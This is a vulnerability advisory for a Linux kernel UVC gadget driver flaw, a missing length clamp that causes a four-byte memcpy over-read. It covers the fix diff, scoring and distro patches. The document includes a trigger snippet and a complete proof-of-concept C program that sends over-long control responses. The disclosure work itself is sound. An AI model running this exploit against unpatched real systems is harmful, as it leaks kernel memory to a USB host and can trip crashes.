# CVE-2026-68366: UVC gadget response memcpy without the third clamp

**Patch:** [b70dc75e85ba968b7b76eebfe5d63000080b875b](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b70dc75e85ba968b7b76eebfe5d63000080b875b) (mainline, landed in 7.2-rc5)
**Subsystem:** USB gadget, UVC function driver
**Affected file:** drivers/usb/gadget/function/uvc_v4l2.c
**CVE record:** [CVE-2026-68366](https://www.cve.org/CVERecord?id=CVE-2026-68366)
**Introduced in:** 3.10, commit a5eaaa1f33e771fa1651a4a7652b8a5f9fa7f6c1

## The bug in one sentence

uvc_send_response() clamped its copy length against the host's control request length and against the ioctl supplied length, but not against the actual size of the 60-byte source buffer sitting in the middle.

## Two clamps are not three

The code built the USB Video Class control response from a user filled struct uvc_request_data:

```c
req->length = min_t(unsigned int, uvc->event_length, data->length);
...
memcpy(req->buf, data->data, req->length);
```

uvc->event_length comes from the host's control request wLength, capped at UVC_MAX_REQUEST_SIZE which is 64. data->length comes from the UVCIOC_SEND_RESPONSE ioctl and was only ever checked for being negative. Neither of those clamps has any relationship to the size of data->data, which is 60 bytes. A response where event_length and data->length are both greater than 60 sails through both clamps and memcpy() reads past the end of the source buffer. Sixty-four minus sixty is four bytes of over-read into whatever follows the ioctl argument structure.

The userspace side here is the gadget side of UVC: a program emulating a UVC device to a USB host (webcam emulation, virtual video sources). The ioctl requires holding the gadget device, so this is a local bug on machines doing USB gadget work, which is mostly embedded boards and dev rigs, plus some testing setups.

The fix adds the missing clamp:

```diff
-	req->length = min_t(unsigned int, uvc->event_length, data->length);
+	req->length = min_t(unsigned int, uvc->event_length, data->length,
+			    sizeof(data->data));
```

Full patch: [b70dc75e85ba](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b70dc75e85ba968b7b76eebfe5d63000080b875b)

## How to trigger it

Run a UVC gadget (configfs f_uvc, a v4l2 loopback or real UVC function), wait for the host to send a control SETUP event, and answer with a response whose length exceeds the 60 byte data array. The struct is in include/uapi/linux/usb/g_uvc.h:

```c
#include <linux/usb/g_uvc.h>

struct uvc_request_data resp = {
    .length = 64,              /* event_length from SETUP wLength is 64 too */
};
memset(resp.data, 0x41, sizeof(resp.data));   /* data[] is only 60 bytes */

ioctl(gadget_v4l2_fd, UVCIOC_SEND_RESPONSE, &resp);
```

Pre-fix, req->length = min(event_length, data->length) = 64, and the memcpy reads 64 bytes out of the 60 byte source, four past the end. The host then receives the four stray bytes as part of the control response, and KASAN flags the read on the gadget side. Post-fix the clamp includes sizeof(data->data) and the copy stays inside 60.

## Score and classification

No CVSS from the kernel CNA and none from NVD (Received status), which puts it in the unscored group alongside CVE-2026-74650 and CVE-2026-80799. The only distro score is Red Hat's 5.5 MEDIUM, vector CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H, with all RHEL products marked Not affected because the gadget function driver is not shipped there (Bugzilla [2513346](https://bugzilla.redhat.com/show_bug.cgi?id=2513346)). No CWE from any authoritative source.

Four bytes of local over-read, at best a crash, realistically nothing observable. The bug is worth fixing because the pattern is wrong, not because the blast radius is large.

## Exploit code

A minimal UVC gadget userspace loop that answers every SETUP with an over-long response:

```c
/* uvc_oob_response.c: CVE-2026-68366
 * gcc -o poc poc.c && ./poc /dev/video0   (the UVC gadget node)
 * vulnerable kernel: 4-byte read past data->data[60] per response
 * fixed kernel: length clamped, host receives 60 bytes
 */
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <linux/videodev2.h>
#include <linux/usb/g_uvc.h>

int main(int argc, char **argv)
{
	struct v4l2_event ev;
	int fd = open(argc > 1 ? argv[1] : "/dev/video0", O_RDWR);

	if (fd < 0) { perror("open"); return 1; }

	for (;;) {
		if (ioctl(fd, VIDIOC_DQEVENT, &ev) < 0) {
			perror("dqevent");
			return 1;
		}
		if (ev.type != UVC_EVENT_SETUP)
			continue;

		struct uvc_request_data resp = { .length = 64 };
		memset(resp.data, 0x41, sizeof(resp.data));  /* 60 bytes */

		if (ioctl(fd, UVCIOC_SEND_RESPONSE, &resp) < 0)
			perror("send_response");
	}
}
```

The SETUP carries wLength up to UVC_MAX_REQUEST_SIZE (64), so event_length is 64 and the user length is 64, and both pre-fix clamps pass while the source holds 60 bytes. The memcpy reads four past the end of data->data on every response; under KASAN the gadget side reports it, and the USB host receives the four stray bytes as part of its control read. Post-fix req->length is clamped to sizeof(data->data) and the copy stays inside. Public status: no KEV, no public PoC before this note. Fixes shipped in Debian [DLA-4745-1](https://security-tracker.debian.org/tracker/DLA-4745-1) and [DLA-4777-1](https://security-tracker.debian.org/tracker/DLA-4777-1) and Ubuntu [USN-8875-1](https://ubuntu.com/security/notices/USN-8875-1), [USN-8887-1](https://ubuntu.com/security/notices/USN-8887-1), [USN-8918-1](https://ubuntu.com/security/notices/USN-8918-1).

## Where the fix shipped

* 6.6.148: [4e116372b7a4](https://git.kernel.org/stable/c/4e116372b7a4f87df0dc0ed4b0ab5b0bb0cc5796)
* 6.12.101: [662f6c6c6ff8](https://git.kernel.org/stable/c/662f6c6c6ff8a6c508e1646c09cae74e28f3cca6)
* 6.18.42: [1f03658f3e9b](https://git.kernel.org/stable/c/1f03658f3e9b2f8fd1d1003ba389a0390b49a350)
* 7.1.6: [c8510fbbea09](https://git.kernel.org/stable/c/c8510fbbea09ef0170b56b14dc2b5890dc75be07)
* 7.2-rc5: [b70dc75e85ba](https://git.kernel.org/linus/b70dc75e85ba968b7b76eebfe5d63000080b875b)

## References

1. [Upstream commit b70dc75e85ba](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=b70dc75e85ba968b7b76eebfe5d63000080b875b)
2. [CVE announcement on lore](https://lore.kernel.org/linux-cve-announce/2026081042-CVE-2026-68366-2ff7@gregkh/)
3. [NVD record](https://nvd.nist.gov/vuln/detail/CVE-2026-68366)
4. [Ubuntu tracker](https://ubuntu.com/security/CVE-2026-68366)
5. [Debian tracker](https://security-tracker.debian.org/tracker/CVE-2026-68366)
